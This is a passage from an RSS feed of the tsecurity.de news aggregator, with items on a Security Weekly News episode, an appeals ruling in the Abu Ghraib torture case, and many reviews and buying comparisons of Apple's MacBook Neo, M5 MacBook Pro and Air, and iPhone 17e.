<content:encoded><![CDATA[<p>This week we have, SonicWall, Confidential Informants Exposed, Cisco Vishing, Perplexity vs robots.txt, Microsoft's Project Ire, Meta–Flo Jury Verdict, GPT‑5 Lands, TeaOnHer Data Leak, Josh Marpet, and more on the Security Weekly News..</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/swn">https://www.securityweekly.com/swn</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/swn-501">https://securityweekly.com/swn-501</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fourth Circuit Affirms $42 Million Jury Verdict in Abu Ghraib Case]]></title>
<description><![CDATA[​In Al Shimari,​ the Fourth Circuit affirmed ​two Alien Tort Statute claims: conspiracy to commit torture and conspiracy to commit cruel, inhuman, and degrading treatment.
The post Fourth Circuit Affirms $42 Million Jury Verdict in Abu Ghraib Case appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3355216/it-security-nachrichten/fourth-circuit-affirms-42-million-jury-verdict-in-abu-ghraib-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3355216/it-security-nachrichten/fourth-circuit-affirms-42-million-jury-verdict-in-abu-ghraib-case/</guid>
<pubDate>Tue, 17 Mar 2026 13:07:29 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>​In Al Shimari,​ the Fourth Circuit affirmed ​two Alien Tort Statute claims: conspiracy to commit torture and conspiracy to commit cruel, inhuman, and degrading treatment.</p>
<p>The post <a href="https://www.justsecurity.org/134045/fourth-circuit-affirms-jury-verdict-abu-ghraib-case/">Fourth Circuit Affirms $42 Million Jury Verdict in Abu Ghraib Case</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iFixit MacBook Neo teardown confirms that it is Apple's most repairable laptop since 2012]]></title>
<description><![CDATA[Whether you're a right-to-repair activist or a school system hoping for the magic combination of power, macOS, and a repairable laptop, the MacBook Neo is a surprisingly satisfying breath of fresh air.MacBook Neo proves to be quite repairable by Apple's standardsApple's MacBook Neo has already be...]]></description>
<link>https://tsecurity.de/de/3348056/ios-mac-os/ifixit-macbook-neo-teardown-confirms-that-it-is-apples-most-repairable-laptop-since-2012/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3348056/ios-mac-os/ifixit-macbook-neo-teardown-confirms-that-it-is-apples-most-repairable-laptop-since-2012/</guid>
<pubDate>Fri, 13 Mar 2026 19:35:01 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Whether you're a right-to-repair activist or a school system hoping for the magic combination of power, macOS, and a repairable laptop, the <a href="https://appleinsider.com/inside/macbook-neo" title="MacBook Neo" data-kpt="1">MacBook Neo</a> is a surprisingly satisfying breath of fresh air.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67013-140770-MacBook-Neo-citrus-shut-ledge-xl.jpg" alt="Closed light green Apple MacBook Neo resting on a concrete ledge outdoors, with blurred green grass and scattered leaves in the background"><br><span>MacBook Neo proves to be quite repairable by Apple's standards</span></div><br>Apple's MacBook Neo has <a href="https://appleinsider.com/articles/26/03/12/macbook-neo-is-more-repairable-than-any-apple-laptop-made-in-the-last-decade">already been proven</a> to be quite inexpensive to repair and easy to disassemble. That said, the tech industry was still holding its breath for iFixit's verdict on the laptop.<br><br>As was expected, iFixit found the MacBook Neo to be one of Apple's most reparable laptops since 2012, if ever. It's easily accessed, sectioned, and lacks any overly aggressive glue.<br><br><br> <a href="https://appleinsider.com/articles/26/03/13/ifixit-macbook-neo-teardown-confirms-that-it-is-apples-most-repairable-laptop-since-2012?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/243706?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Pro Reviews: Early Verdict on Apple’s M5 Pro and M5 Max Models]]></title>
<description><![CDATA[Apple’s latest MacBook Pro models with the new M5 Pro and M5 Max chips arrive this Wednesday, and early MacBook Pro reviews already give a clear picture of what buyers should expect. Most reviewers agree that the new laptops look very similar to last year’s M4 models, but the internal upgrades de...]]></description>
<link>https://tsecurity.de/de/3339246/ios-mac-os/macbook-pro-reviews-early-verdict-on-apples-m5-pro-and-m5-max-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3339246/ios-mac-os/macbook-pro-reviews-early-verdict-on-apples-m5-pro-and-m5-max-models/</guid>
<pubDate>Tue, 10 Mar 2026 19:06:49 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s latest MacBook Pro models with the new M5 Pro and M5 Max chips arrive this Wednesday, and early MacBook Pro reviews already give a clear picture of what buyers should expect. Most reviewers agree that the new laptops look very similar to last year’s M4 models, but the internal upgrades deliver strong performance improvements. Faster processors, much quicker SSD speeds, and slightly longer battery life stand out as the key highlights in this generation.



At the same time, Apple has not changed the overall design or feature set in a major way. The focus stays on raw performance, which explains why many reviewers say the upgrade mainly benefits users who push their machines with demanding tasks such as video editing, coding, or GPU-heavy workflows.



M5 Pro and M5 Max chips bring performance gains



Reviewers say the biggest upgrade comes from Apple’s new M5 Pro and M5 Max chips. Benchmarks and early tests show noticeable improvements in both CPU and GPU performance compared with the previous M4 generation.



Jason Snell at Six Colors explains that the new chips deliver a clear step forward in speed. He writes that “the M5 CPU core is about 15% faster than the M4 generation,” which gives the new MacBook Pro strong performance gains in everyday workloads and professional tasks. Snell also reports that his review unit runs “23% faster than my M4 Max laptop,” which shows how much Apple improved the latest architecture.



Snell also notes that GPU performance depends heavily on the chip configuration buyers choose. The M5 Max versions include significantly more GPU cores, which makes them far better for heavy graphics workloads. However, he says the M5 Pro still performs impressively, explaining that “my M4 Max’s Metal score was only about 14 percent ahead of the M5 Pro’s,” despite the older chip having many more GPU cores.



Benchmarks show strong CPU and storage speeds



Several reviewers tested Apple’s claim that its MacBook Pro “super cores” are the fastest CPU cores available in a laptop today.



Tom’s Hardware compared the M5 Max against competing Windows laptops and reported strong benchmark results. In Geekbench 6, Apple’s chip scored 4,338 in single-core performance and 29,430 in multi-core tests. These numbers placed the MacBook Pro clearly ahead of competing devices such as the ZenBook Duo, which scored 3,031 and 17,283 respectively.



Storage performance also surprised many reviewers. Apple claims the new SSDs run up to twice as fast as the previous generation, and testing results show large improvements.



Tom’s Hardware reported that the MacBook Pro completed a 25GB file transfer test at 3,835 MB per second, while the next fastest competitor reached 1,724 MB per second. In a Handbrake video encoding test, the MacBook Pro converted a 4K video to 1080p in just 1 minute and 55 seconds. The next fastest machine needed 3 minutes and 18 seconds.



The Verge also highlighted the storage upgrade, writing that “the new high-end M5 chip delivers improvements, none more noticeable than the huge SSD read/write speed boost.”



Apple introduces a new core structure



Reviewers also examined the internal chip architecture that Apple uses in the M5 Pro and M5 Max processors.



Brian Westover at PCMag describes Apple’s design as something close to a “bigger.BIG” architecture. In this system, Apple uses extremely powerful performance cores alongside additional cores that handle multithread workloads more efficiently.



Westover explains that these performance cores act as the main workhorses for demanding tasks, delivering strong efficiency and performance without the bottlenecks that older efficiency cores sometimes caused.



Faster storage and longer battery life



Beyond the processor upgrades, the new MacBook Pro models bring faster storage and slightly improved battery life.



Apple now offers SSD speeds that reach up to twice the performance of the previous generation. Some testing shows extremely fast read and write results, including speeds above 13 GB per second for reading and nearly 18 GB per second for writing in high-end configurations.



Tom’s Guide reviewer Tony Polanco reported that the 16-inch MacBook Pro with the M5 Pro lasted “an astonishing 21 hours and 10 minutes” during a continuous web browsing test. The previous M4 Pro model lasted 20 hours and 46 minutes under the same conditions.



The new MacBook Pro models also include Apple’s N1 wireless chip, which adds support for Wi-Fi 7 and Bluetooth 6.



Conclusion



Overall, MacBook Pro reviews say the latest models deliver strong performance upgrades without major design changes. Apple focused on improving speed, storage performance, and battery life rather than introducing new hardware features.



For many users, the M5 Pro and M5 Max chips provide the main reason to upgrade. Early reviews show that Apple succeeded in delivering faster performance across CPU tasks, graphics workloads, and storage speeds.



Reviewers also note that a larger redesign may arrive in the future, with rumors pointing to an OLED display, a thinner design, and more advanced chips in later models. For now, the newest MacBook Pro generation continues Apple’s focus on performance improvements while keeping the same familiar design.]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Neo Reviews: Why Critics Say this $599 MacBook is a Big Deal]]></title>
<description><![CDATA[Apple’s new MacBook Neo is already getting strong early reviews, and the message is pretty clear across the first wave of coverage. Reviewers say this is a low-cost MacBook that still feels premium, handles everyday work well, and gives students, first-time Mac buyers, and budget-focused shoppers...]]></description>
<link>https://tsecurity.de/de/3339243/ios-mac-os/macbook-neo-reviews-why-critics-say-this-599-macbook-is-a-big-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3339243/ios-mac-os/macbook-neo-reviews-why-critics-say-this-599-macbook-is-a-big-deal/</guid>
<pubDate>Tue, 10 Mar 2026 19:06:45 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s new MacBook Neo is already getting strong early reviews, and the message is pretty clear across the first wave of coverage. Reviewers say this is a low-cost MacBook that still feels premium, handles everyday work well, and gives students, first-time Mac buyers, and budget-focused shoppers a much better option than most Windows laptops in the same price range.



That early reaction matters because the MacBook Neo starts at $599, which makes it Apple’s most affordable laptop by a wide margin, yet most reviewers say it still delivers the build quality, screen quality, trackpad experience, and general polish people expect from a Mac. At the same time, nearly everyone agrees that Apple made a few obvious compromises to hit that lower price, especially around RAM, ports, keyboard lighting, and display extras.



MacBook Neo keeps the Mac feel at a lower price



The clearest point in the early MacBook Neo reviews is that Apple did not cheap out on the basics that shape daily use.



9to5Mac says the laptop has the same solid aluminum build quality you would expect from Apple, and that it stays silent and sturdy in ways many similarly priced PCs do not. The review also notes that Apple made smart choices with the design, including four color options, a smaller footprint than the 13-inch MacBook Air, and a color-matched keyboard that adds some personality.



That same review says the 13-inch MacBook Neo feels fast enough for the kind of work most people actually do on a laptop, including web browsing, writing, research, documents, and light editing. It also says battery life looks strong for the battery size, and the overall value at $599 is hard to ignore.



Reviews say performance is good for normal work



The MacBook Neo uses the A18 Pro chip, which is the same family of chip used in the iPhone 16 Pro, and that detail raised questions before launch. Early reviewers now seem far less worried about that choice.



The Verge says it is hard to believe the MacBook Neo runs on an iPhone chip because the hardware still embarrasses a large class of affordable Windows laptops and even many more expensive ones. The review adds that the Neo has no major flaws in the areas where cheap laptops usually fall apart, such as the screen, speakers, keyboard, trackpad, or webcam.



CNN also sounds impressed by everyday performance, saying a dozen tabs in Chrome or Safari stayed responsive while jumping between apps like Drafts, Slack, Todoist, Photos, Messages, and Music. That review even calls the MacBook Neo “the most exciting piece of tech” tested in years, which gives you a good sense of how strongly it landed.



Most reviewers say this is the Mac most people need



A big theme across the reviews is that the MacBook Neo is not trying to replace the MacBook Air or MacBook Pro. Instead, it covers the needs of the biggest group of buyers.



Stuff says this is “the Mac most people need,” pointing to the aluminum design, strong overall feel, and the way the positives easily outweigh the negatives for everyday users who mostly answer emails, write, browse, and manage simple work.



CNET takes a similar view and says the MacBook Neo is a perfect first laptop for students, especially because it is light, compact, durable, and easy to carry to school. That review does suggest stepping up to the model with Touch ID if the budget allows, but it still says the base idea works very well for students and families.



Macworld pushes that same idea a little further, calling it a terrific first Mac while also saying existing Mac users may want it as a second machine for travel or casual use.



The trade-offs are real, but reviewers still like the package



The MacBook Neo is not getting praise without any caveats, and the compromises come up in almost every review.



9to5Mac points to the lack of P3 wide color, no True Tone, only 8GB of RAM, mixed USB-C port speeds, no backlit keyboard, single external display support, and limited upgrade choices. Those are real cuts, and buyers who need more power or flexibility still have better reasons to buy a MacBook Air or MacBook Pro.



Ars Technica offers the most cautious take, suggesting that a refurbished M1 MacBook Air could still be a better buy for some people. Even so, that review still says Apple landed on the right side of the line most of the time and kept the essential parts of the experience intact.



Early verdict looks very strong



The first MacBook Neo reviews all circle back to the same conclusion. Apple made a budget laptop that does not feel like a budget laptop. That is why Engadget says the Neo puts every $600 Windows PC to shame, while other reviewers keep returning to the same quoted ideas like “great first Mac,” “the Mac most people need,” and “an unbelievable price.”



For buyers who want a simple, dependable, well-built laptop for daily work, the MacBook Neo looks like one of Apple’s smartest product moves in years.



Video Reviews




https://youtu.be/kFiKsFVv9Nc





https://youtu.be/pW4DKLgDkaA





https://youtu.be/d-VOt9559Gk





https://youtu.be/BWb1LQ7Y_Rg





https://youtu.be/91zQ6Pyxb3Y]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 17e reviews: Early verdict on Apple’s $599 budget iPhone]]></title>
<description><![CDATA[Apple’s new iPhone 17e arrives in stores on Wednesday, and the first iPhone 17e reviews show a phone that improves the budget iPhone formula without changing it dramatically. Reviewers highlight the doubled base storage, the arrival of MagSafe support, and a new Soft Pink color option as the main...]]></description>
<link>https://tsecurity.de/de/3336556/ios-mac-os/iphone-17e-reviews-early-verdict-on-apples-599-budget-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3336556/ios-mac-os/iphone-17e-reviews-early-verdict-on-apples-599-budget-iphone/</guid>
<pubDate>Mon, 09 Mar 2026 18:36:39 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s new iPhone 17e arrives in stores on Wednesday, and the first iPhone 17e reviews show a phone that improves the budget iPhone formula without changing it dramatically. Reviewers highlight the doubled base storage, the arrival of MagSafe support, and a new Soft Pink color option as the main reasons the device feels more appealing than last year’s model. At the same time, many reviewers say the standard iPhone 17 becomes more tempting once you compare features and price.



The iPhone 17e starts at $599 and keeps the same design introduced with the iPhone 16e. Apple added its new A19 chip, MagSafe for magnetic charging and accessories, and a faster C1X cellular modem while increasing base storage to 256GB. Those changes push the device forward without altering its overall identity as Apple’s entry-level iPhone.



Reviewers also note that the phone has several limitations that separate it from Apple’s higher-priced models. The display still runs at 60Hz, the design keeps the traditional notch instead of Dynamic Island, and the bezels look thicker than those on premium iPhones.



Good Upgrade Perhaps




https://youtu.be/oKANuJBdiFY




Brian Tong describes the iPhone 17e as a “solid upgrade” for people who still use older devices like the iPhone SE or iPhone 11. He highlights the jump to 256GB of storage and the addition of MagSafe as two changes that improve everyday usability.



Tong explains that users who come from much older iPhones will immediately notice the speed and smoother overall experience thanks to Apple’s new A19 processor. He also notes that MagSafe opens the door to accessories such as magnetic chargers, wallets, and battery packs that earlier budget models did not support.



For those upgrading from much older hardware, Tong believes the iPhone 17e delivers enough improvements to feel like a meaningful step forward.



iPhone 16e Revamp



TechRadar describes the iPhone 17e as a refinement of the formula Apple introduced with the iPhone 16e. The publication explains that the earlier model already handled the big transition by modernizing the design and removing the Home button that defined the iPhone SE line.



TechRadar calls the new Soft Pink color “an excellent color addition” and says the A19 chip feels “plenty fast” during everyday use. The phone also now starts with 256GB of storage while keeping the same $599 price as its predecessor.



At the same time, the publication points out several missing features that make the phone feel less advanced than Apple’s higher tier devices.



Key limitations mentioned include:




No always on display



No 120Hz refresh rate



A design that closely resembles last year’s model




It concludes that the iPhone 17e improves the package in practical ways, even though it does not attempt a major redesign.



More Better Options?







The Verge takes a more cautious view and says the iPhone 17e is “good, but you probably shouldn’t buy it.” The publication argues that the $200 difference between the 17e and the standard iPhone 17 delivers a long list of upgrades that many buyers will appreciate.



The Verge explains that the price difference works out to roughly $9 more per month on a two year payment plan, which may make the regular iPhone 17 easier to justify for many buyers.



According to the publication, the standard iPhone 17 includes several features that the cheaper model lacks:




A 120Hz ProMotion display



Dynamic Island for notifications and Live Activities



An additional Ultra Wide camera




The Verge, therefore, suggests that anyone who can stretch their budget should consider the standard iPhone 17 instead.



Magsafe Support







CNET focuses on the return of MagSafe and describes the phone’s appeal as “magnetic.” The publication says MagSafe support improves daily convenience because users can easily attach accessories and charge the phone with compatible magnetic stands and battery packs.



CNET also highlights several design compromises that remind buyers they are using a lower priced iPhone.



The publication points to the following limitations:




Thicker display bezels



A traditional notch instead of Dynamic Island



A fixed 60Hz display with no always on screen




Despite those trade offs, CNET believes the phone remains a strong value. The publication says most buyers will not find the compromises too distracting, especially when the phone costs a few hundred dollars less than Apple’s premium models.



Budget Friendly 



Engadget describes the iPhone 17e as “the economical choice” within Apple’s lineup. The publication explains that the device focuses on the basics instead of pushing high end features.



Engadget argues that Apple’s attention to lower cost devices feels timely as many buyers reconsider how much they want to spend on smartphones and laptops. The iPhone 17e costs about half the price of an iPhone 17 Pro and remains $200 cheaper than the standard iPhone 17.



For many users, Engadget says the phone still checks the essential boxes that matter in everyday use.



Performance, MagSafe and modem upgrades



Several reviewers highlight the technical upgrades that improve the iPhone 17e behind the scenes. The phone runs Apple’s new A19 processor, which benchmarks show performs about 15 percent faster than the A18 chip used in the iPhone 16e.



That improvement places performance close to the standard iPhone 17, which means users should see smooth performance in apps, games, and multitasking.



MagSafe also plays a large role in this year’s upgrade. The magnetic charging system supports faster wireless charging at 15W instead of 7.5W and works with a wide range of accessories such as magnetic battery packs, wallets, and charging stands.



Apple also introduced the C1X cellular modem, which the company says delivers up to twice the speed of the previous generation C1 modem. In one test on AT&amp;T’s network in New Jersey, PCMag recorded download speeds reaching 419 Mbps, which suggests a noticeable jump compared with earlier models.



Release date and availability



Apple already opened pre orders for the iPhone 17e, and the device officially launches on Wednesday, March 11. The phone starts at $599 in the United States and includes 256GB of base storage, which doubles the starting capacity compared with the previous model.



Early iPhone 17e reviews show a device that focuses on practical improvements such as storage, MagSafe, and performance while keeping the same design and overall approach. For buyers who want Apple’s lowest priced modern iPhone, the device remains an attractive option, even though many reviewers say the standard iPhone 17 becomes tempting once you consider the extra features for $200 more.]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking About the MacBook Neo? Here’s Who Should Not Buy It]]></title>
<description><![CDATA[Apple launched the MacBook Neo as its most affordable laptop, starting at about $599 ($499 for students), and the company clearly designed it as an entry point into the Mac ecosystem for students and casual users who want macOS without paying MacBook Air prices.



The laptop runs on the A18 Pro ...]]></description>
<link>https://tsecurity.de/de/3333109/ios-mac-os/thinking-about-the-macbook-neo-heres-who-should-not-buy-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3333109/ios-mac-os/thinking-about-the-macbook-neo-heres-who-should-not-buy-it/</guid>
<pubDate>Sun, 08 Mar 2026 06:51:25 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple launched the MacBook Neo as its most affordable laptop, starting at about $599 ($499 for students), and the company clearly designed it as an entry point into the Mac ecosystem for students and casual users who want macOS without paying MacBook Air prices.



The laptop runs on the A18 Pro chip, the same processor used in the iPhone 16 Pro, and includes a 13-inch Liquid Retina display, 8GB unified memory, and storage options of 256GB or 512GB.



That sounds attractive on paper, especially for everyday tasks like browsing, documents, and streaming. But Apple lowered the price by cutting several features that many professionals rely on. Once you look at the display, storage limits, and connectivity options, it becomes clear that the MacBook Neo does not suit everyone.



So the real question becomes simple: who shouldn’t buy the MacBook Neo?



Quick specs overview



FeatureMacBook NeoProcessorApple A18 ProRAM8GB (not upgradeable)Storage256GB or 512GB SSDDisplay13-inch Liquid Retina, sRGBBrightness500 nitsPortsUSB-C (USB 3), USB-C (USB 2), headphone jackExternal displayOne 4K display at 60HzThunderboltNoStarting price$599



1. Professional videographers should skip it



Video editing demands storage, fast external drives, and flexible display setups. The MacBook Neo limits all three.



The base model starts with 256GB storage, and the only upgrade available is 512GB, which fills up quickly when editing high-resolution footage. A single Final Cut Pro project can easily cross hundreds of gigabytes, which forces users to rely on external drives.



Other limitations also slow down video workflows.




No Thunderbolt support, which limits high-speed external storage



Only one external display supported



External display limited to 4K at 60Hz



Lower storage ceiling compared with MacBook Air or Pro




Professional editors already choose MacBook Pro or Mac Studio systems, but even enthusiastic hobby editors will find the Neo restrictive for real projects.



2. Photographers who care about color accuracy



Display quality is one of the biggest compromises in the MacBook Neo.



Most MacBooks support the P3 wide color gamut, which displays a wider range of colors and improves accuracy during editing. The Neo uses sRGB only, which is common on budget laptops and cheaper monitors.



That difference matters for photo work.



A photographer editing RAW images needs accurate color reproduction, and the narrower sRGB color range reduces the number of visible tones and shades.



Here is a simple comparison.



Display featureMacBook NeoMacBook Air / ProColor gamutsRGBP3 wide colorColor accuracyStandardProfessional levelPhoto editing suitabilityBasicExcellent



Photographers who shoot regularly or edit professionally should choose MacBook Air or MacBook Pro, since both support P3 displays.



3. Power users who want more memory or storage



The MacBook Neo has 8GB unified memory with no upgrade option, which limits multitasking and heavier workloads.



If your workflow includes:




Multiple creative apps open



Virtual machines



Large design files



Development tools




then 8GB RAM becomes a constraint quickly.



Other MacBook models allow larger memory and storage configurations, while the Neo stays locked at its base options.



4. Users who rely on advanced connectivity



Connectivity also reflects the budget nature of the device.



The MacBook Neo includes two USB-C ports, but they run at different speeds and neither supports Thunderbolt.



Key limitations include:




No Thunderbolt connectivity



One USB-C port limited to USB 2 speeds



Only one external display supported



No MagSafe charging




For users who connect multiple displays, docks, fast storage drives, or professional accessories, those restrictions become frustrating.



5. People who want the full MacBook experience



The MacBook Neo cuts several small features that many users expect.



Examples include:




No True Tone display support



No backlit keyboard in some configurations



Touch ID only on the 512GB model



No MagSafe charging




Each change saves money, but together they make the Neo feel more like a basic Mac rather than a fully featured one.



Who should actually buy the MacBook Neo?



The MacBook Neo still works well for many people.



It fits users who want:




Their first MacBook



A budget macOS laptop



A lightweight computer for school or office tasks



Reliable performance for web browsing, documents, streaming, and light editing




Apple clearly designed the Neo for students and everyday users who want a Mac without paying MacBook Air prices.



Final verdict



The MacBook Neo delivers strong value for its price, but the compromises define who should avoid it. Videographers, photographers, and power users will quickly run into limits with storage, display color range, memory, and connectivity.



If your work depends on accurate color, heavy editing, or multiple external devices, you will get better results with a MacBook Air or MacBook Pro. If you want an affordable Mac for daily computing tasks, the MacBook Neo still makes sense.]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Neo vs iPad Air M4 with Magic Keyboard: Which is the Better Laptop Replacement?]]></title>
<description><![CDATA[Apple’s new $599 MacBook Neo and $599 iPad Air (M4) sit at the same entry price, but they replace a laptop in very different ways, because one runs macOS with a built-in keyboard and trackpad, while the other runs iPadOS with a touchscreen-first workflow that becomes “laptop-like” only after you ...]]></description>
<link>https://tsecurity.de/de/3331275/ios-mac-os/macbook-neo-vs-ipad-air-m4-with-magic-keyboard-which-is-the-better-laptop-replacement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3331275/ios-mac-os/macbook-neo-vs-ipad-air-m4-with-magic-keyboard-which-is-the-better-laptop-replacement/</guid>
<pubDate>Fri, 06 Mar 2026 23:06:36 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s new $599 MacBook Neo and $599 iPad Air (M4) sit at the same entry price, but they replace a laptop in very different ways, because one runs macOS with a built-in keyboard and trackpad, while the other runs iPadOS with a touchscreen-first workflow that becomes “laptop-like” only after you add a keyboard case.



If you want the short version, MacBook Neo wins as a straightforward laptop replacement at $599, while iPad Air (M4) wins on performance headroom and tablet flexibility, but only if you accept the extra cost of Apple’s Magic Keyboard, which pushes the bundle close to $900.



MacBook Neo vs iPad Air M4 as a laptop replacement



Spec / CostMacBook Neo (base)iPad Air 11-inch (M4) baseiPad Air (M4) + Magic KeyboardiPad (A16) + Magic Keyboard FolioStarting price$599$599$868 ($599 + $269)$598 ($349 + $249)ChipA18 ProM4M4A16RAM8GB12GB12GBApple doesn’t list it on the spec sheet, but USB and display limits are pretty straightforwardStorage (base)256GB128GB128GB128GBOSmacOSiPadOSiPadOSiPadOSPorts2× USB-C (1× USB 3 up to 10Gb/s + DisplayPort, 1× USB 2 up to 480Mb/s) + 3.5mm1× USB-C (USB 3 up to 10Gb/s + DisplayPort)Same, plus pass-through charging on the keyboard1× USB-C (USB 2 up to 480Mb/s + DisplayPort)External displayDisplayPort over USB-C (Apple positions it for external display use; details vary by display)1 external display up to 6K at 60HzUp to 6K at 60Hz1 external display up to 4K at 60HzBattery claimUp to 16 hours video streamingApple and retailers commonly list around 10 hours for iPad Air class devicesSameSimilar “all-day” iPad usage expectations (varies by workload)



What actually decides “better laptop replacement”



1) App compatibility and workflow



If your “laptop replacement” means desktop-grade apps, full browser behavior, and fewer platform edge cases, macOS still gives you the most predictable experience day to day. That matters for workloads like:




finance and accounting workflows that depend on desktop Excel behaviors



specialized corporate apps or legacy web tools that behave better on desktop browsers



heavy multitasking across many windows, files, and external peripherals




This is why a lot of students and professionals still default to a laptop even when iPad hardware feels fast enough.



2) Keyboard and trackpad quality at the price you want to pay



At $599, MacBook Neo already includes the things most people mean by “laptop”: a solid keyboard, a trackpad, and a clamshell design that works on your lap.



With iPad Air, you can absolutely get a laptop-like setup, but if you want Apple’s trackpad experience, you typically end up buying the Magic Keyboard, and Apple prices the 11-inch iPad Air Magic Keyboard at $269, which pushes the bundle to $868.



If you want the “keyboard + trackpad included” idea under $600, the cleanest Apple option is the $349 iPad (A16) plus the $249 Magic Keyboard Folio, totaling $598, but you accept weaker performance and slower USB transfer speeds.



3) Multitasking improvements in iPadOS 26 help, but they do not erase the gap



iPadOS 26 introduced a more flexible windowing system where you can resize and move app windows more freely, which helps the iPad feel closer to a laptop when you use a keyboard and trackpad.



That said, a better window manager does not automatically fix app feature gaps, especially in “work” apps where iPad versions still behave differently than desktop versions, so your specific apps still decide the outcome more than the OS marketing does.



Which one should you pick



Pick MacBook Neo if you want a laptop replacement that stays simple at $599. It makes sense when you care most about:




macOS software compatibility and fewer workflow surprises



a built-in keyboard and trackpad with no accessory shopping



longer claimed battery for video streaming compared with typical iPad usage claims




Pick iPad Air (M4) if you want the most flexible device, and you are fine paying “real laptop money” once you add the keyboard. It makes sense when you care most about:




using it as a tablet part of the day, with Pencil support and cameras that suit scanning and quick captures



stronger performance headroom from the M4-class platform



external display support up to 6K at 60Hz




Pick iPad (A16) + Magic Keyboard Folio if you want iPad versatility with a trackpad under $600. It makes sense when:




budget is hard-capped under $600 and you still want a trackpad



you can live with USB 2 transfer speeds and weaker overall performance




Final Verdict



For most people asking “better laptop replacement,” the answer stays boring: MacBook Neo replaces a laptop more cleanly at $599 because the full package already behaves like a laptop, while iPad Air (M4) becomes the better “do-everything” machine only after you accept the accessory cost and confirm your must-have apps work the way you need on iPadOS.]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Air M5 vs MacBook Air M4: worth upgrading for the AI performance alone?]]></title>
<description><![CDATA[Apple just introduced the new MacBook Air with M5 chip, which brings stronger performance, better AI capabilities, and faster storage compared to the MacBook Air with M4. The upgrade is clearly more than just a number bump. This change matters if you do a lot of AI, creative work, or need faster ...]]></description>
<link>https://tsecurity.de/de/3325072/ios-mac-os/macbook-air-m5-vs-macbook-air-m4-worth-upgrading-for-the-ai-performance-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3325072/ios-mac-os/macbook-air-m5-vs-macbook-air-m4-worth-upgrading-for-the-ai-performance-alone/</guid>
<pubDate>Wed, 04 Mar 2026 12:53:14 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple just introduced the new MacBook Air with M5 chip, which brings stronger performance, better AI capabilities, and faster storage compared to the MacBook Air with M4. The upgrade is clearly more than just a number bump. This change matters if you do a lot of AI, creative work, or need faster file handling. We look at how these two models differ in everyday use and in tasks that push hardware limits.



Differences in Processing and AI



The M5 chip builds on the M4 architecture with several technical improvements that affect performance.




The M5’s CPU runs at slightly higher frequencies and delivers a meaningful bump in speed. Benchmarks show single and multi-core gains over the M4, with up to roughly 10 to 15 percent faster CPU performance in typical workloads.



GPU performance sees a larger uplift on M5. Tests show significantly better graphics throughput and compute, which helps with rendering and AI workflows.



The Neural Accelerators in each GPU core are a standout feature on M5. This change means more parts of the chip can process AI tasks simultaneously, instead of routing everything through a single engine. That design delivers much faster AI execution, beyond what the M4 delivers.



Memory bandwidth increases on M5 at 153GB per second versus M4’s 120GB per second in base configurations, enabling smoother multitasking and data movement.




M5 also benefits from a newer unified architecture that integrates the CPU, GPU and AI accelerators more tightly. These improvements show up most when running AI tools or complex graphics workflows.



Daily Use and Real-World Performance



For everyday tasks like web browsing, office work and video calls, both chips handle things smoothly. The M5 does these tasks faster but not dramatically so. However, when workloads include AI-related features or heavy creative tasks, the differences grow.



Many AI workloads run faster on M5 because of the distributed Neural Accelerators. These chips can produce more operations per second compared to M4 in modern benchmarks. That difference matters if you use local AI features or third-party apps that use machine learning on device.



Storage and Connectivity



Apple doubled the base storage on the M5 model to 512GB and also offers higher maximum capacity up to 4TB. The SSD on M5 is faster than the one used in the M4 model, significantly improving file access speeds. This can boost workflows that involve managing large libraries of photos, videos or AI datasets.



The new wireless chip, N1, brings Wi-Fi 7 and Bluetooth 6 support, which are newer standards than what the M4 Air used. Improved wireless connectivity helps with cloud-based tasks, video meetings and file transfers.



Battery Life, Display and Build



Both MacBook Air models share similar designs: thin, light aluminum bodies with excellent build quality. Battery life remains strong on the M5 Air with Apple’s claims of up to 18 hours, similar to what earlier models delivered.



The Liquid Retina displays on both devices look sharp and bright. They support one billion colors and offer excellent clarity for text and visuals. The larger 15-inch option gives more screen area for multitasking. M5 models retain these strengths and add faster internal components without degrading design or battery endurance.



MacBook Air M5 vs MacBook Air M4: Side-by-Side



